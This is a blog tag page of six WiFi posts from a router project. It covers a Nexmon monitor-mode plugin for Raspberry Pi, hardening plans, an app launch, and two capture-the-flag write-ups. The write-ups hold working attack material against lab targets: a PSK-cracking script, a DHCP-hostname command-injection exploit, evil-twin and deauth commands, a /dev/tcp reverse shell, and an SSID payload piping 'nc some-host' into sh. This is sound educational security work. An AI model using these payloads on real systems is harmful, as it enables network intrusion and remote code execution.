Skip to main content

6 posts tagged with "WiFi"

View All Tags

· 5 min read

The built-in wifi radio on a Raspberry Pi 4 is kind of sad, as it does not support monitor mode. Luckily the hackers at Seemo Labs have fixed this.

In this post we'll describe how to load Seemoo's Nexmon onto a pi4 running a modern kernel, and package it into a SPR Plugin named spr-nexmon. We'll demonstrate that packet capture and injection works.

First, we will copy the template plugin

$ cp -R super/api_sample_plugin/ spr-nexmon

Development

Prebuilt binaries

We'll use some prebuilt binaries that include

  • the nexmon firmware build for the broadcom wifi radio
  • the 6.2 kernel build
  • the nexutil binary

These were built from the 6.1/6.2 support pull-request

$ cp -R ../nexmon/binaries spr-nexmon/binaries

Docker preparations

We'll update the Dockerfile to include some useful tools and build the project.

FROM ubuntu:23.04 as builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y --no-install-recommends nano ca-certificates git curl
RUN mkdir /code
WORKDIR /code
ARG TARGETARCH
RUN curl -O https://dl.google.com/go/go1.20.linux-${TARGETARCH}.tar.gz
RUN rm -rf /usr/local/go && tar -C /usr/local -xzf go1.20.linux-${TARGETARCH}.tar.gz
ENV PATH="/usr/local/go/bin:$PATH"
COPY code/ /code/

ARG USE_TMPFS=true
RUN --mount=type=tmpfs,target=/tmpfs \
[ "$USE_TMPFS" = "true" ] && ln -s /tmpfs /root/go; \
go build -ldflags "-s -w" -o /nexmon_plugin /code/nexmon_plugin.go


FROM ghcr.io/spr-networks/container_template:latest
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends tcpdump kmod iw wireless-regdb && rm -rf /var/lib/apt/lists/*
COPY scripts /scripts/
COPY --from=builder /nexmon_plugin /
COPY binaries/ nexmon/
ENTRYPOINT ["/scripts/startup.sh"]

We also want this container to use the host network and be privileged so it can load kernel modules. And we'll also set it to restart automatically

And heres the docker-compose.yml:

version: '3.4'

x-logging:
&default-logging
driver: journald

x-labels:
&default-labels
org.supernetworks.ci: ${CI:-false}
org.supernetworks.version: ${RELEASE_VERSION:-latest}${RELEASE_CHANNEL:-}

services:
nexmon:
container_name: supernexmon
build:
context: .
labels: *default-labels
logging: *default-logging
restart: always
network_mode: host
privileged: true
volumes:
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
- /lib/firmware/cypress/:/lib/firmware/cypress/
- "${SUPERDIR}./state/plugins/nexmon:/state/plugins/nexmon"
- "${SUPERDIR}./state/public/:/state/public/:ro"

Extending the SPR API

The Nexmon patch breaks the ability to change channels normally. Instead, we can do it with the 'nexutil' binary that nexmon provides.

We'll rename sample_plugin.go to nexmon_plugin.go and define a new function

func changeChannel(w http.ResponseWriter, r *http.Request) {
channel := r.URL.Query().Get("channel")

// Use regexp.MatchString to check if the input matches the pattern
matches, err := regexp.MatchString("^[0-9/]*$", channel)
if err != nil || !matches {
http.Error(w, "Invalid channel string", 400)
return
}

err = exec.Command("/nexmon/nexutil", "-k"+channel).Run()
if err != nil {
http.Error(w, err.Error(), 400)
return
}
}
//...
func main() {
//...
unix_plugin_router.HandleFunc("/change_channel", changeChannel).Methods("PUT")
}

Updating the startup script

When the container runs, we'll have it make sure the seemo firmware and kernel module are loaded fresh.

startup.sh:

#!/bin/bash

cd /nexmon
cp brcmfmac43455-sdio.bin /lib/firmware/cypress/cyfmac43455-sdio-standard.bin

rmmod brcmfmac_wcc
rmmod brcmfmac

insmod brcmfmac.ko

sleep 1

iw phy `iw dev wlan0 info | awk '/wiphy/ {printf "phy" $2}'` interface add mon0 type monitor

echo [+] Loaded

cd /
/nexmon_plugin

Loading

After building, with docker compose build, we'll configure the API to load the plugin.

In the UI or by modifying configs/base/api.json, add the nexmon plugin*

{
"Name": "nexmon",
"URI": "nexmon",
"UnixPath": "/state/plugins/nexmon/socket",
"Enabled": true,
"Plus": false,
"GitURL": "",
"ComposeFilePath": ""
}

Start the plugin with

SUPERDIR=/home/spr/super/ docker compose up -d

Testing

Running tcpdump should show captured 802.11 packets from the environment

# tcpdump -i wlan0 ...

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
22:50:27.005540 1876482302us tsft 1.0 Mb/s 2412 MHz 11b -68dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.046106 1876522917us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.107930 1876584711us tsft 1.0 Mb/s 2412 MHz 11b -70dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.148500 1876625317us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.210323 1876687100us tsft 1.0 Mb/s 2412 MHz 11b -67dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY

We can also verify that our channel switch api extension works

# curl -u admin:admin localhost/plugins/nexmon/change_channel?channel=4/20 -X PUT
# iw dev

phy#10
Interface wlan0
ifindex 44
wdev 0xa00000002
addr 00:00:00:00:00:00
type monitor
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
Interface mon0
ifindex 43
wdev 0xa00000001
addr e4:5f:01:fd:a1:76
type managed
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
txpower 31.00 dBm
...

* Note that the SPR UI does not allow specifying a docker compose path directly from the UI. Instead, a user can modify or create a list in configs/base/custom_compose_paths.json to do so.

Running barely-ap

Besides sniffing traffic, we can also do wild things with packet injection, like running a WPA2 Access Point written in scapy

Since the nexmon patch is a bit hacky, we set the wlan0 mac address ourselves and make sure the channel matches

ap = AP("turtlenet", "password1234", mode="iface", iface="wlan0", mac="e4:5f:01:cd:a1:76", channel=4)

“ET VOILÀ!”:

root@wifilab0:~/barely-ap/src# python3 ap.py                                                                                                                  
command failed: Device or resource busy (-16)
Created TUN interface scapyap at 10.10.10.1. Bind it to your services if needed.
Sending Authentication to 56:66:a3:9c:71:8b from e4:5f:01:cd:a1:76 (0x0B)...
Sending Association Response (0x01)...
sent eapol m1 56:66:a3:9c:71:8b
[+] New associated station 56:66:a3:9c:71:8b for bssid e4:5f:01:cd:a1:76

Want to try it yourself on SPR?

You can grab spr-nexmon here and barely-ap at https://github.com/spr-networks/barely-ap.

· 3 min read

Reducing Attack Surfaces (Part 1)

SPR lets users create adaptive, micro-segmented networks for connecting and managing devices. In addition to fine-grained network visibility we also build hardened software and work to avoid common security flaws. As SPR has matured we've started taking on further efforts to eliminate attack surfaces.

When it comes to native code: we introduce none. As in, we have not written new native code for SPR anywhere. We have one BPF filter, and its otherwise golang all the way down. We also do not run standard native services where we can avoid them. We have replaced traditional C code for services such as DNS and DHCP with golang implementations, namely CoreDNS and CoreDHCP.

The remaining native code targets that we have in SPR are as follows:

  • The Linux kernel. For example: ethernet, the tcp/ip stack, nftables, the mac80211 framework and vendor drivers
  • 802.11 Firmware, Ethernet Firmware
  • Hostapd
  • PPP Daemon (off by default)
  • OS Services (Ubuntu)

Targeting the Whole WiFi Stack

We believe the wifi firmware to be today's most insecure target (along with the vendor drivers). Many firmwares are blackbox, poorly documented, and opaque to public security research. We want SPR to be immune to attacks like Broadpwn and Qualcomm Exploitation.

We've previously published barely-ap to teach people about WiFi authentication. It can and does work with real wifi chips running in monitor mode to connect clients over the air. We've tested with Android, iOS, and Linux devices.

The plan is to build a series of experiments to host high-speed wifi.

In the near term:

  1. Develop a Proof-of-Concept AP with scapy in monitor mode (DONE)
  2. Develop a shim from monitor frames to hostapd running under mac80211_hwsim. This is a work in progress. We would like to see a rust kernel driver/userland daemon for this

Future:

  1. A full AP written in rust, operating on raw 802.11 frames (not relying on the Linux kernel 802.11 subsystem)
  2. Rust protocol firmware for a wifi chip.

Developing a Shim Explained

By running the card in monitor mode, protocol parsing in the card firmware is substantially reduced if not altogether eliminated.

And with relaying frames over to macsim, hostapd is good to go. What needs to happen however is making this incredibly fast, and researching rate negotiation and what calls might need to be made to firmware to enable higher coding rates.

By using hostapd and the kernel mac80211 stack, we still maintain some native attack surface, however we get a known working, security-tested AP that will be compatible with a wide variety of devices, without the firmware protocol parsing and the vendor driver parsing.

For next steps, a proof-of-concept with scapy is actually much too slow. We want to start with a rust userland daemon leveraging iouring. If that doesn't fly then we'll go to a shim in the kernel.

Interested in working with us? Please reach out

We are actively seeking an intern to help develop rust+wifi for SPR.

You can contact us at spr-wifi [ a-t ] supernetworks.org or hop on the discord

· 4 min read

Secure Private Router Configuration Made Easy

We are happy to announce the release of our iOS app for the SPR project. You can manage your SPR effortlessly, even while you're on the go with the VPN capabilities. The App is available today for $0.99. Revenue goes towards the development of SPR.

Read more about SPR here

Simplified Configuration

You can set up your new router, configure network firewall rules, manage devices, and establish secure VPN connections with just a few taps.

Connect Your Friends Quickly and Securely

With the SPR App you can securely bring a new device onto your wifi network in only a few seconds. To do so, add a new device, set a name, and hit next to generate a secure password. Then scan the QR code from the new device and it will be good to go.

By default, the new device has access to just the internet and nothing else. You can join it into groups for access to local network devices. For example, a gaming group for playing LAN networked games.

Ad Blocking and DNS Controls

Enhance your browsing experience by blocking intrusive ads at the network level. You can also view and customize your network device's DNS requests.

Remote Configuration via VPN

spr vpn client

SPR works great for turning your home network into a personal VPN service. You can also host SPR in the cloud. Using SPR to VPN your mobile devices helps get better network speeds to work around operator traffic shaping, as well as keep access to media services while traveling. And it's also helpful to maintain ad blocking while on the go, without adding any software at all to your devices.

With the App you can manage your SPR over the VPN itself.

To learn more about running SPR using VPN, with all its features except WiFi, check out the Virtual SPR Setup Guide

Next Steps

If you'd like to experience the power of open-source networking and take control of your network's security and privacy, give SPR a try.

Whether you're connecting directly to your SPR device or remotely through a VPN, our app offers a seamless and intuitive interface, empowering you to create a hardened and resilient home network environment.

You can download our iOS app today. Visit our homepage to learn more.

The source code for the app is available on GitHub.

App Privacy and Privacy Policy

Data Not Collected

Supernetworks, Inc. does not collect any data from this app.

We do not collect any personal information about you, such as your name, address, or email address, when you use our app.

Our app does not use any third-party services that collect or use personal information. We may receive crash logs from Apple which include anonymized code stack traces from where the errors occured.

We do not share customer data with any third-party services.

Read our Privacy Policy here

· One min read

Introducing Barely AP

We've published barely an implementation of a WiFi 802.11 Access Point, using Scapy to teach people about WiFi authentication.

What

On Linux, this code lets you spin up a python access point over monitor mode. It implements features like handling probe requests, authentication, association, and reassociation, and encryption and decryption of data using CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol).

Note

This code just barely gets the job done -- it should NOT be used as a reference for writing production code. It has NO protocol security, as it is not security robust despite performing authenticated CCMP encryption.

Usage:

Building & running

./build.sh
./setup.sh

Inspect IP traffic


docker exec -it barely-ap tcpdump -i scapyap
docker exec -it barely-sta tcpdump -i wlan1

· 10 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills.

The tasks were a bit challenging, and invovled a combination of WiFi Cracking and exploring how WPA Authentication works, against a custom Access point using Salsa20 instead of AES.

Axel Souchet has kindly shared his writeup with us, which we share below.

Turtles: Virtual WiFi Hacking Challenges - March 2023

Introduction

The older I get, the more fascinated I have become with the world surrounding me; I ask myself all the time 'how does this thing work uh 🤔?'. It is both fun and rewarding for me to understand the world a bit better. This is also a great way to be constantly humbled by the magic that surrounds us 🌈

Although I enjoy the process of learning how things work, there are millions of things that I interact with daily, that I know so little about; embarrassing.

Heck, how does WiFi work I thought? Because I know that I learn best by getting my hands dirty, I decided to try to solve a few challenges as an introduction. That is why I decided to check-out the March Turtle challenge 🙂

If you want to play at home, you can find the challenges on Github and one the SPR website:

You can participate either directly from your browser via an impressive emulated Linux environment or you can self-host the challenge by cloning the turtles-march-2023 repository and follow the instructions. I chose to self-host the challenges as it made it easier to debug for me.

Warmups

All right, enough blah blah and let's get warmed up. In that part of the challenge, we are asked to extract data off two packet captures: turtle0.pcap & turtle0.5.pcap.

For the first capture, we need to extract a PSK that looks like the following: turtle{x}, great. Because we don't have more details regarding the PSK's shape itself, it is fair to assume that the authors want us to use a wordlist attack instead of trying to bruteforce it.

I grabbed the famous rockyou wordlist and I wrote a small Python script to format prepend / append turtle{} as this is what the PSK will look like.

with open('rockyou-turtle.txt', 'w', encoding='utf8') as fout:
with open('rockyou.txt', 'r', encoding='utf8', errors='replace') as fin:
for line in fin.readlines():
line = line.strip()
fout.write(f'turtle{{{line}}}\n')
print('Done')

Then, I ran aircrack-ng with the new wordlist against turtle0.pcap with the following command: $ aircrack-ng turtle0.pcap -w rockyou-turtle.txt.

After a few minutes, a valid key was found: turtle{power}, great!

                        Aircrack-ng 1.6

[00:00:01] 3200/2465175 keys tested (5273.73 k/s)

Time left: 7 minutes, 46 seconds 0.13%

KEY FOUND! [ turtle{power} ]


Master Key : 11 8C 23 85 2D 5F 7E AC DE 8C 85 B0 CB 80 02 5F
CA 48 34 DF CE 2D 2A 7C 3C 01 4B A8 14 B7 2D E1

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 6B D2 F8 71 7F E5 D8 5E 5B 68 FE 53 0A 28 9D 4E

The next challenge says that there is data to be decrypted inside turtle0.5.pcap. Both the station and the AP use the 4-way handshake to derive various keys that are used to encrypt traffic. We cracked a PSK in the previous step, so we can open the packet capture into Wireshark and let it decrypt the traffic for us. Follow Wireshark's HowToDecrypt802.11 article to know how to do that.

Once decrypted, there is a PING request with a flag in its payload: turtle{deecoded}, awesome.

Step 1

Okay warmups done, time to have a look at the real challenges. For this step, the authors ask for us to crack another PSK from another packet capture of a handshake. We also have the source code of a custom AP.

I initially threw turtle1-handshake.pcap at aircrack-ng with the rockyou-turtle.txt wordlist but no valid key was found, bummer. I thought it was possible that this key was part of another famous wordlist so I downloaded a bunch of them, but ... same. Weird.

I learned more about the 4-way handshake to understand how both the station & AP derive the keys needed to transmit / verify encrypted frames. Because the handshake was captured from a custom AP, it made sense to me that maybe aircrack-ng didn't understand the handshake properly and missed PSK.

I decided to implement the attack on my own. I used the MIC code that is sent by the AP in the 3rd message to verify if a candidate is valid or not (on top of the nonces/macs in the first / second messages). We have the entire EAPOL packet so we can compute the MIC code ourselves and verify if it matches the one sent by the AP. If it does, it means we have found a valid PSK 🤤

I ran the script against the turtleified rockyou wordlist, and eventually (it's slow!) found a valid PSK candidate: turtle{excellent} 🔥

# Axel '0vercl0k' Souchet - April 15 2023
# WIN w/ b'turtle{excellent}'
import hashlib
import hmac
from scapy.all import *

class EAPOL_KEY(Packet):
name = 'EAPOL_KEY'
fields_desc = [
ByteEnumField('key_descriptor_type', 1, {1: 'RC4', 2: 'RSN'}),
BitField('reserved2', 0, 2),
BitField('smk_message', 0, 1),
BitField('encrypted_key_data', 0, 1),
BitField('request', 0, 1),
BitField('error', 0, 1),
BitField('secure', 0, 1),
BitField('has_key_mic', 1, 1),
BitField('key_ack', 0, 1),
BitField('install', 0, 1),
BitField('key_index', 0, 2),
BitEnumField('key_type', 0, 1, {0: 'Group/SMK', 1: 'Pairwise'}),
BitEnumField('key_descriptor_type_version', 0, 3, {
1: 'HMAC-MD5+ARC4',
2: 'HMAC-SHA1-128+AES-128',
3: 'AES-128-CMAC+AES-128',
0x20: 'SALSA20-HMAC'
}),
LenField('key_length', None, 'H'),
LongField('key_replay_counter', 0),
XStrFixedLenField('key_nonce', b'\x00'*32, 32),
XStrFixedLenField('key_iv', b'\x00'*16, 16),
XStrFixedLenField('key_rsc', b'\x00'*8, 8),
XStrFixedLenField('key_id', b'\x00'*8, 8),
XStrFixedLenField('key_mic', b'\x00'*16, 16),
LenField('wpa_key_length', None, 'H'),
ConditionalField(
XStrLenField('key', b'\x00'*16,
length_from=lambda pkt: pkt.wpa_key_length),
lambda pkt: pkt.wpa_key_length and pkt.wpa_key_length > 0)
]


def customPRF512(key, amac, smac, anonce, snonce):
"""Source https://stackoverflow.com/questions/12018920/"""
A = b"Pairwise key expansion"
B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce]))
num_bytes = 64
R = b''
for i in range((num_bytes * 8 + 159) // 160):
R += hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1).digest()
return R[:num_bytes]

def calc(pwd):
amac = bytes.fromhex('02:00:00:00:00:00'.replace(':', ''))
smac = bytes.fromhex('02:00:00:00:01:00'.replace(':', ''))
anonce = bytes.fromhex(
'7338c25bf9d1bba6a8dea56e87bb8b6a2e3f658be7ba8173c6ab58991e648e5f')
snonce = bytes.fromhex(
'82ce083ab0cdb46f1ae0cc94a922cdf7ca742bf130396996f92be706cca62a25')
PMK = hashlib.pbkdf2_hmac('sha1', pwd, b'turtle1', 4_096, 32)
KCK = customPRF512(PMK, amac, smac, anonce, snonce)[:16]
keydata = bytes.fromhex('ace914ed4b7bf2b638b81c841bd3ab67561681d57591496ff93465d173c04f911679a118fb7f9590faef7fe21aa5c82d8bc746b190ea84e1')
assert len(keydata) == 56
ek = EAPOL(version='802.1X-2004',type='EAPOL-Key') / EAPOL_KEY(
key_descriptor_type=2, key_descriptor_type_version=2, install=1, key_type=1, key_ack=1,\
has_key_mic=1, secure=1, encrypted_key_data=1, key_replay_counter=2, \
key_nonce=anonce, key_length=16, key=keydata, wpa_key_length=len(keydata)
)
return hmac.new(KCK, ek.build(), hashlib.sha1).digest()[:16]

def main():
wanted = bytes.fromhex('7235448e1b056108e40ff429ad3545ab')
assert len(wanted) == 16
with open('rockyou-turtle.txt', 'r', encoding='utf8') as fin:
for line in fin.readlines():
candidate = line.strip().encode()
c = calc(candidate)
assert len(c) == 16
if c == wanted:
print(f'WIN w/ {candidate}')
return
print('Done')

if __name__ == '__main__':
main()

Step 2

All right, final step. In this step, we are given another custom AP's source code and we need to break in. How exciting uh?

For this step, I set-up an environment to debug and interact with the AP. I created a regular Hyper-V Ubuntu VM (note that this won't work from WSL2) and ran the two containers with the below commands:

over@bubuntu:~/turtles-march-2023$ sudo docker compose up -d
[sudo] password for over:
Starting t1_ap ... done
Starting t1_start ... done

over@bubuntu:~/turtles-march-2023$ sudo ./setup.sh

At that stage, you can log-in into both containers with the following commands:

over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_start bash
over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_ap bash

t1_ap is the container that runs the AP and t1_start is where you can run a client and send packets to the AP. This is cool because you don't need any physical Wifi device to play in this environment!

One of the keys that is derived during the 4-way handshake is meant to be shared by every station; kind of a group key. My understanding is that it is used to send broadcast-like packets to every station. In the AP, it turns out this key is a constant: turtle{everyone gets a shell :)} 😬

After reading the code carefully, it is clear that there you don't need to be associated with the AP to send a packet encrypted with this group key. This is particularly interesting because we don't have knowledge of the PSK which means we wouldn't be able to complete the 4-way handshake. In a normal AP, the GTK is shared in an encrypted frame and it isn't a constant / isn't known by an attacker (and is rotated every time a station disconnects).

Finally, an attacker can trigger a shell command injection when the AP parses a DHCP offer packet:

def reply_dhcp_offer(self, incoming):
# ...
for o in incoming[DHCP].options:
# Log hostname for DNS revers lookup
if o[0] == 'hostname':
cmd = "echo %s %s.lan >> hostnames.txt" % (dest_ip, o[1].decode("ascii"))
os.system(cmd )

At this point we have every ingredients to break into the AP and execute arbitrary shell commands by sending a specially crafted DHCP offer packet encrypted with the GTK 🔥; here's my code that can be run from t1_start:

# Axel '0vercl0k' Souchet - April 11 2023
from scapy.all import *
from salsa20 import Salsa20
from itertools import count
import hmac
import hashlib
import struct

gtk_full = b'turtle{everyone gets a shell :)}'
GTK = gtk_full[:16]
MIC_AP_TO_GROUP = gtk_full[16:24]
group_IV = count()

def encrypt(pkt):
data = pkt.build()
pn = next(group_IV)
aad_calc = hmac.new(MIC_AP_TO_GROUP, data, hashlib.sha1).digest()[:16]
key = GTK
cipher = Salsa20(key, struct.pack('>Q', pn))
payload = cipher.encrypt(data) + aad_calc
pn0 = pn & 0xff
pn1 = (pn>>8) & 0xff
pn2 = (pn>>16) & 0xff
pn3 = (pn>>24) & 0xff
return Dot11CCMP(data=payload, ext_iv=1, key_id=1, PN0 = pn0, PN1=pn1, PN2=pn2, PN3=pn3)

def main():
# root@0c0b905e70eb:/# iw dev
# phy#0
# Interface mon0
# ifindex 2
# wdev 0x2
# addr 02:00:00:00:00:00
# type monitor
# txpower 20.00 dBm
# Interface wlan0
# ifindex 50
# wdev 0x1
# addr 02:00:00:00:00:00
# type managed
# txpower 20.00 dBm
ap = '02:00:00:00:00:00'
# root@29a50eeb6fb5:/x# iw dev
# phy#1
# Interface wlan1
# ifindex 51
# wdev 0x100000001
# addr 02:00:00:00:01:00
# type managed
# txpower 20.00 dBm
station = '02:00:00:00:01:00'
cmd = 'id; ls /'
inner_pkt = Ether(src=station) / IP() / UDP(dport=67) / BOOTP(op=1) / DHCP(options=[
('hostname', f'; {cmd} #'),
])
receiver = ap
sender = station
bssid = ap
pkt = RadioTap() / Dot11(addr1=receiver, addr2=sender, addr3=bssid, FCfield='to-DS+protected') / encrypt(inner_pkt)
pkt.show()
os.system('iw dev wlan1 interface add mon1 type monitor 2>/dev/null')
sendp(pkt, iface = 'mon1', verbose = True)

if __name__ == '__main__':
main()

Thanks again to SPR, the challenge authors for putting out free educational content, you guys rock 👏🏽✊🏽

· 9 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills. We first ran a challenge in this style at Stockholm's Midnight Sun CTF Finals in August '22 at the Turtles MidnightSun Finals. You can play along with January's challenge, with the github repository.

January's winner, Amy from Ret2 Systems, has kindly let us share their challenge writeup. Congratulations! And thanks again for putting this writeup together.

February's contest will be released on the 20th and we will be giving out more raspberry pis!

Intro

We find ourselves in a twisting maze of WLANs. There are 5 machines connected across several WLAN networks. We start as root on the first machine and must move laterally across the network to exfiltrate 3 flag files. From our box we can connect to an access point with the SSID "jan-turtle1".

Flag 1

Our first target is also connected to the "jan-turtle1" AP over WPA3. We can assume that the target may be doing something interesting over this network, so performing a MitM attack may be fruitful. To pull this off we can use the so-called "Evil Twin Attack" where we impersonate the AP.

First we need to set up our own AP with the same SSID and configuration as the existing "jan-turtle1" AP. I used hostapd to do this with the following config:

interface=wlan2
driver=nl80211
hw_mode=a
channel=40
ssid=jan-turtle1
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=sn0wt0rt0ise
ip addr add dev wlan2 192.168.1.1/24
hostapd -B /root/h.conf

Once we have the AP up and running, clients looking for the real "jan-turtle1" AP may connect to our malicious AP instead. However the target is already connected to the existing AP, so it won't attempt to reconnect to our AP.

Luckily we can force it off of the original AP by abusing deauthentication packets. If we send these packets with a spoofed target address, we cause the target to disconnect. Once the client has disconnected, there is a chance that they will reconnect to our malicious access point. We can use aireplay-ng to perform this attack on a second WLAN:

ip link set dev wlan3 up
yes | airmon-ng start wlan3 40
# Start deauth on target MAC
aireplay-ng -0 10 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan3mon &
# tcpdump -i wlan2 -v
06:09:53 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 40
06:09:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00
tcpdump: listening on wlan2, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:10:01.225272 02:00:00:00:01:00 (oui Unknown) > Broadcast Null Unnumbered, xid, Flags [Response], length 6: 01 00
06:10:08.879191 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.2, length 28
06:10:08.879228 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 02:00:00:00:02:00 (oui Unknown), length 28
08:35:14.868587 IP (tos 0x0, ttl 64, id 18623, offset 0, flags [DF], proto TCP (6), length 60)
192.168.1.2.49070 > 192.168.1.1.http: Flags [S], cksum 0x27e2 (correct), seq 547073709, win 64240, options [mss 1460,sackOK,TS val 3350547164 ecr 0,nop,wscale 7], length 0
06:10:08.879473 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.1.1.http > 192.168.1.2.49070: Flags [R.], cksum 0x9d34 (correct), seq 0, ack 547073710, win 0, length 0

Looks like there is a unencrypted HTTP request! Lets host our own http server using python:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.1.2 - - [15/Feb/2023 06:17:06] "GET /install.sh HTTP/1.1" 404 -
192.168.1.2 - - [15/Feb/2023 06:17:16] code 404, message File not found

If we create our own install.sh, it looks like the box will run it! Lets get a reverse shell

bash -i >& /dev/tcp/192.168.1.1/1337 0>&1

Nice, we captured the first flag!

Listening on 0.0.0.0 1337
Connection received on 192.168.1.2 47550
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@2d419af9c243:/# cat flag1.txt
turtles{0f004d8e004f4577952eda915426eac38f4df6b4}
root@2d419af9c243:/#

Flag 2

For the second stage, we are given a binary named wardriver which is running on the second target. This binary has two main features. First it used iw dev <dev> scan to collect information on all near by access points.

int getData() {
__snprintf_chk(command, 256LL, 1LL, 256LL, "iw dev %s scan", (const char *)IFACE);
if ( fopen("scan.txt", "r") )
strcpy(command, "cat scan.txt");
v0 = popen(command, "r");
insert(v0);
...
sqlite3_exec(v7, v8, 0LL, 0LL);
}
__int64 __fastcall insert(...) {
...
__snprintf_chk(
v8, 256LL, 1LL, 256LL,
"INSERT INTO wifis VALUES(%d, '%s', '%s', '%s');",
_id, bss_str, ssid_str, signal_str,
);
}

If we create an malicious AP, the SSID will be formatted into this INSERT command. We can use this to perform an SQL insert injection into the database, allowing us to control any field of a new entry to the wifis table.

Next we look at the second functionality. The binary will periodically dump values from the table and send them as data using a curl command:

__int64 dump() {
...
v0 = sqlite3_exec(v3, "SELECT * FROM wifis", callback, 0LL);
...
}
__int64 __fastcall callback(...) {
...
if ( bss_str && signal_str ) {
__snprintf_chk(
command, 128LL, 1LL, 128LL,
"curl %s --data \"{\\\"bss\\\": \\\"%s\\\", \\\"signal\\\": \\\"%s\\\"}\"",
"http://127.0.0.1:8080/logs",
bss_str, signal_str);
system(command);
return 0LL;
}
return 1LL;
}

We can see that there is no sanitization of the bss or signal columns when formatted into the command. We can trigger command injection here by creating a malicious wifi entry using the SQL injection in the previous function. The length of command injection in the SSID is limited, so I fetched a second stage from a remote host. Here is the hostapd config with the SQL injection payload:

interface=wlan4
driver=nl80211
hw_mode=a
channel=48
ssid=',''),(2,'`nc some-host 9|sh`','
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=shred_the_gnar_pow

After a few seconds the wardriver picks up our AP and we get a connect back on the second target!

$ nc -l 1338 -v
Listening on 0.0.0.0 1338
Connection received on 192.168.1.2 58580
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@b976e8a2f52b:/# cat flag2.txt
cat flag2.txt
turtles{f0c03d9e242a89f1df51e5da9a833750398fe989}
root@b976e8a2f52b:/#

Flag 3

For the final target, we need to exploit an SOAP Server running on the second AP. Our second target box is already authenticated to the AP, so we can easily talk to the server directly.

Decompiling the binary, we see that it is a simple HTTP server which implements a few parts of the SOAP protocol. We can perform a some actions such as listing the server uptime or date.

The first bug I found was in an error handler. This handler uses the http_response function to build a response with HTTP code 400. However for the body pointer, it mistakenly passes a void** pointer instead of a char* ptr. This will leak the address of the soap_action function as well as a stack address in the body of the 400 response.

int __cdecl http_response(...) {
fprintf(stream, "HTTP/1.1 %d %s\r\n", a2, a3);
fwrite("Server: OS/Version UPnP/1.0 product/version", 1u, 0x2Bu, stream);
fwrite("Content-Type: text/html\r\n", 1u, 0x19u, stream);
fwrite("Connection: close\r\n", 1u, 0x13u, stream);
fwrite("\r\n", 1u, 2u, stream);
fprintf(stream, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<H4>%d %s</H4>\n", a2, a3, a2, a3);
...
}
unsigned int __cdecl handle_client(int fd) {
void* __soap_action_ = soap_action;
char *v7;
char buf[2048];
v7 = &buf;
if ( _isoc99_sscanf(...) ) {
...
__soap_action(steam);
} else {
http_response(stream, 400, "Invalid request", (const char *)&__soap_action_)
}
}

We can trigger this leak with the following code:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall(b'ENDEND a\n')
leak = (sock.recv(4096).split(b'request</H4>\n',1)[1]
.split(b'ENDEND',1)[0].ljust(8,b'\0'))
text_leak = u32(leak[:4])
stack_leak = u32(leak[4:])

sock.close()

Looking closer at the string functions being used, there are several buffer overflows from calls to sprintf and strcpy. However almost all of these are protected by stack-cookies. Luckily there is a single case where a pointer lays between a buffer and the stack-cookie:

__int64 __cdecl soap_response(...) {
char dest[2048];
char src[2048];
char* format_str;
unsigned int cookie;
...
format_str = "%s";
...
sprintf(&src[off], "%s", sub_action);
...
sprintf(&src[off], format_str, action);
}

Since we are able to buffer overflow src using the first sprintf call, we can smash the format_str ptr. This allows point format_str at our own data on the stack (using the leak from earlier), giving us an arbitrary format string vulnerability.

